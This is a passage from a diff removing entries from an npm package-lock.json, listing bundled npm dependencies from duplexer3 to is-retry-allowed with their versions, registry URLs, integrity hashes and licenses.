"sha512-4As8uPrjfwb7VXC+WnLCbXK7y+Ueb2B3zgNCePYfhxS1PYeaO1YTeplffTEcbfLhvFNGLAz90VvJs9yomG7bow==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.6.0" - } - }, - "node_modules/npm/node_modules/duplexer3": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", - "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause" - }, - "node_modules/npm/node_modules/duplexify": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", - "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" - } - }, - "node_modules/npm/node_modules/ecc-jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", - "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "jsbn": "~0.1.0" - } - }, - "node_modules/npm/node_modules/editor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/editor/-/editor-1.0.0.tgz", - "integrity": "sha1-YMf4e9YrzGqJT6jM1q+3gjok90I=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/encoding": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", - "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "iconv-lite": "~0.4.13" - } - }, - "node_modules/npm/node_modules/end-of-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", - "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "once": "^1.4.0" - } - }, - "node_modules/npm/node_modules/err-code": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/err-code/-/err-code-1.1.2.tgz", - "integrity": "sha1-BuARbTAo9q70gGhJ6w6mp0iuaWA=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/errno": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", - "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "prr": "~1.0.1" - }, - "bin": { - "errno": "cli.js" - } - }, - "node_modules/npm/node_modules/es6-promise": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", - "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/es6-promisify": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz", - "integrity": "sha1-UQnWLz5W6pZ8S2NQWu8IKRyKUgM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "es6-promise": "^4.0.3" - } - }, - "node_modules/npm/node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/npm/node_modules/execa": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", - "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/extend": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz", - "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/extsprintf": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "dev": true, - "engines": [ - "node >=0.6.0" - ], - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/figgy-pudding": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.1.0.tgz", - "integrity": "sha512-Gi2vIue0ec6P/7LNpueGhLuvfF2ztuterl8YFBQn1yKgIS46noGxCbi+vviPdObNYtgUSh5FpHy5q0Cw9XhxKQ==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/find-npm-prefix": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/find-npm-prefix/-/find-npm-prefix-1.0.2.tgz", - "integrity": "sha512-KEftzJ+H90x6pcKtdXZEPsQse8/y/UnvzRKrOSQFprnrGaFuJ62fVkP34Iu2IYuMvyauCyoLTNkJZgrrGA2wkA==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "locate-path": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/flush-write-stream": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", - "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" - } - }, - "node_modules/npm/node_modules/forever-agent": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/form-data": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.1.4.tgz", - "integrity": "sha1-M8GDrPGTJ27KqYFDpp6Uv+4XUNE=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.5", - "mime-types": "^2.1.12" - }, - "engines": { - "node": ">= 0.12" - } - }, - "node_modules/npm/node_modules/from2": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", - "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" - } - }, - "node_modules/npm/node_modules/fs-minipass": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.5.tgz", - "integrity": "sha512-JhBl0skXjUPCFH7x6x61gQxrKyXsxB5gcgePLZCwfyCGGsTISMoIeObbrvVeP6Xmyaudw4TT43qV2Gz+iyd2oQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "minipass": "^2.2.1" - } - }, - "node_modules/npm/node_modules/fs-vacuum": { - "version": "1.2.10", - "resolved": "https://registry.npmjs.org/fs-vacuum/-/fs-vacuum-1.2.10.tgz", - "integrity": "sha1-t2Kb7AekAxolSP35n17PHMizHjY=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "graceful-fs": "^4.1.2", - "path-is-inside": "^1.0.1", - "rimraf": "^2.5.2" - } - }, - "node_modules/npm/node_modules/fs-write-stream-atomic": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", - "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" - } - }, - "node_modules/npm/node_modules/fs-write-stream-atomic/node_modules/iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/fstream": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.11.tgz", - "integrity": "sha1-XB+x8RdHcRTwYyoOtLcbPLD9MXE=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - }, - "engines": { - "node": ">=0.6" - } - }, - "node_modules/npm/node_modules/gauge": { - "version": "2.7.4", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", - "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - } - }, - "node_modules/npm/node_modules/gauge/node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/genfun": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/genfun/-/genfun-4.0.1.tgz", - "integrity": "sha1-7RAEHy5KfxsKOEZtF6XD4n3x38E=", - "dev": true, - "inBundle": true, - "license": "CC0-1.0" - }, - "node_modules/npm/node_modules/gentle-fs": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/gentle-fs/-/gentle-fs-2.0.1.tgz", - "integrity": "sha512-cEng5+3fuARewXktTEGbwsktcldA+YsnUEaXZwcK/3pjSE1X9ObnTs+/8rYf8s+RnIcQm2D5x3rwpN7Zom8Bew==", - "dev": true, - "inBundle": true, - "license": "Artistic-2.0", - "dependencies": { - "aproba": "^1.1.2", - "fs-vacuum": "^1.2.10", - "graceful-fs": "^4.1.11", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "path-is-inside": "^1.0.2", - "read-cmd-shim": "^1.0.1", - "slide": "^1.1.6" - } - }, - "node_modules/npm/node_modules/gentle-fs/node_modules/iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/get-caller-file": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.2.tgz", - "integrity": "sha1-9wLmMSfn4jHBYKgMFVSstw1QR+U=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/getpass": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", - "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "assert-plus": "^1.0.0" - } - }, - "node_modules/npm/node_modules/getpass/node_modules/assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/global-dirs": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-0.1.1.tgz", - "integrity": "sha1-sxnA3UYH81PzvpzKTHL8FIxJ9EU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ini": "^1.3.4" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/got": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/got/-/got-6.7.1.tgz", - "integrity": "sha1-JAzQV4WpoY5WHcG0S0HHY+8ejbA=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "create-error-class": "^3.0.0", - "duplexer3": "^0.1.4", - "get-stream": "^3.0.0", - "is-redirect": "^1.0.0", - "is-retry-allowed": "^1.0.0", - "is-stream": "^1.0.0", - "lowercase-keys": "^1.0.0", - "safe-buffer": "^5.0.1", - "timed-out": "^4.0.0", - "unzip-response": "^2.0.1", - "url-parse-lax": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/graceful-fs": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz", - "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", - "dev": true, - "inBundle": true, - "license": "ISC", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/npm/node_modules/har-schema": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-1.0.5.tgz", - "integrity": "sha1-0mMTX0MwfALGAq/I/pWXDAFRNp4=", - "dev": true, - "inBundle": true, - "license": "ISC", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/har-validator": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-4.2.1.tgz", - "integrity": "sha1-M0gdDxu/9gDdID11gSpqX7oALio=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "ajv": "^4.9.1", - "har-schema": "^1.0.5" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/har-validator/node_modules/ajv": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-4.11.8.tgz", - "integrity": "sha1-gv+wKynmYq5TvcIK8VlHcGc5xTY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "co": "^4.6.0", - "json-stable-stringify": "^1.0.1" - } - }, - "node_modules/npm/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/hawk": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/hawk/-/hawk-3.1.3.tgz", - "integrity": "sha1-B4REvXwWQLD+VA0sm3PVlnjo4cQ=", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "dependencies": { - "boom": "2.x.x", - "cryptiles": "2.x.x", - "hoek": "2.x.x", - "sntp": "1.x.x" - }, - "engines": { - "node": ">=0.10.32" - } - }, - "node_modules/npm/node_modules/hoek": { - "version": "2.16.3", - "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz", - "integrity": "sha1-ILt0A9POo5jpHcRxCo/xuCdKJe0=", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.40" - } - }, - "node_modules/npm/node_modules/hosted-git-info": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.6.0.tgz", - "integrity": "sha512-lIbgIIQA3lz5XaB6vxakj6sDHADJiZadYEJB+FgA+C4nubM1NwcuvUr9EJPmnH1skZqpqUzWborWo8EIUi0Sdw==", - "dev": true, - "inBundle": true, - "license": "ISC", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/http-cache-semantics": { - "version": "3.8.1", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz", - "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause" - }, - "node_modules/npm/node_modules/http-proxy-agent": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-2.1.0.tgz", - "integrity": "sha512-qwHbBLV7WviBl0rQsOzH6o5lwyOIvwp/BdFnvVxXORldu5TmjFfjzBcWUWS5kWAZhmv+JtiDhSuQCp4sBfbIgg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "agent-base": "4", - "debug": "3.1.0" - }, - "engines": { - "node": ">= 4.5.0" - } - }, - "node_modules/npm/node_modules/http-signature": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.1.1.tgz", - "integrity": "sha1-33LiZwZs0Kxn+3at+OE0qPvPkb8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "assert-plus": "^0.2.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" - }, - "engines": { - "node": ">=0.8", - "npm": ">=1.3.7" - } - }, - "node_modules/npm/node_modules/https-proxy-agent": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.1.tgz", - "integrity": "sha512-HPCTS1LW51bcyMYbxUIOO4HEOlQ1/1qRaFWcyxvwaqUS9TY88aoEuHUY33kuAh1YhVVaDQhLZsnPd+XNARWZlQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "agent-base": "^4.1.0", - "debug": "^3.1.0" - }, - "engines": { - "node": ">= 4.5.0" - } - }, - "node_modules/npm/node_modules/humanize-ms": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", - "integrity": "sha1-xG4xWaKT9riW2ikxbYtv6Lt5u+0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ms": "^2.0.0" - } - }, - "node_modules/npm/node_modules/iconv-lite": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", - "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/iferr": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-1.0.0.tgz", - "integrity": "sha512-0+ecqiP/cxgnNBIPi+TgJlaxE7sFp2N3kBFg17klQUdf24YKiaEV6b9QgEqOlD5vCVCE0U7OV9lPSN2OfS4zoQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/npm/node_modules/ignore-walk": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/ignore-walk/-/ignore-walk-3.0.1.tgz", - "integrity": "sha512-DTVlMx3IYPe0/JJcYP7Gxg7ttZZu3IInhuEhbchuqneY9wWe5Ojy2mXLBaQFUQmo0AW2r3qG7m1mg86js+gnlQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "minimatch": "^3.0.4" - } - }, - "node_modules/npm/node_modules/import-lazy": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", - "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/npm/node_modules/inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "node_modules/npm/node_modules/inherits": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/ini": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", - "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", - "dev": true, - "inBundle": true, - "license": "ISC", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/init-package-json": { - "version": "1.10.3", - "resolved": "https://registry.npmjs.org/init-package-json/-/init-package-json-1.10.3.tgz", - "integrity": "sha512-zKSiXKhQveNteyhcj1CoOP8tqp1QuxPIPBl8Bid99DGLFqA1p87M6lNgfjJHSBoWJJlidGOv5rWjyYKEB3g2Jw==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "glob": "^7.1.1", - "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", - "promzard": "^0.3.0", - "read": "~1.0.1", - "read-package-json": "1 || 2", - "semver": "2.x || 3.x || 4 || 5", - "validate-npm-package-license": "^3.0.1", - "validate-npm-package-name": "^3.0.0" - } - }, - "node_modules/npm/node_modules/invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/ip": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", - "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/ip-regex": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", - "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/is-builtin-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", - "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "builtin-modules": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/is-ci": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-1.1.0.tgz", - "integrity": "sha512-c7TnwxLePuqIlxHgr7xtxzycJPegNHFuIrBkwbf8hc58//+Op1CqFkyS+xnIMkwn9UsJIwc174BIjkyBmSpjKg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ci-info": "^1.0.0" - }, - "bin": { - "is-ci": "bin.js" - } - }, - "node_modules/npm/node_modules/is-cidr": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/is-cidr/-/is-cidr-2.0.6.tgz", - "integrity": "sha512-A578p1dV22TgPXn6NCaDAPj6vJvYsBgAzUrAd28a4oldeXJjWqEUuSZOLIW3im51mazOKsoyVp8NU/OItlWacw==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "cidr-regex": "^2.0.8" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "number-is-nan": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/is-installed-globally": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.1.0.tgz", - "integrity": "sha1-Df2Y9akRFxbdU13aZJL2e/PSWoA=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "global-dirs": "^0.1.0", - "is-path-inside": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/is-npm": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-1.0.0.tgz", - "integrity": "sha1-8vtjpl5JBbQGyGBydloaTceTufQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/is-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", - "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/is-path-inside": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", - "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "path-is-inside": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/is-redirect": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-redirect/-/is-redirect-1.0.0.tgz", - "integrity": "sha1-HQPd7VO9jbDzDCbk+V02/HyH3CQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/is-retry-allowed": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.1.0.tgz", - "integrity": "sha1-EaBgVotnM5REAz0BJaYaINVk+zQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - 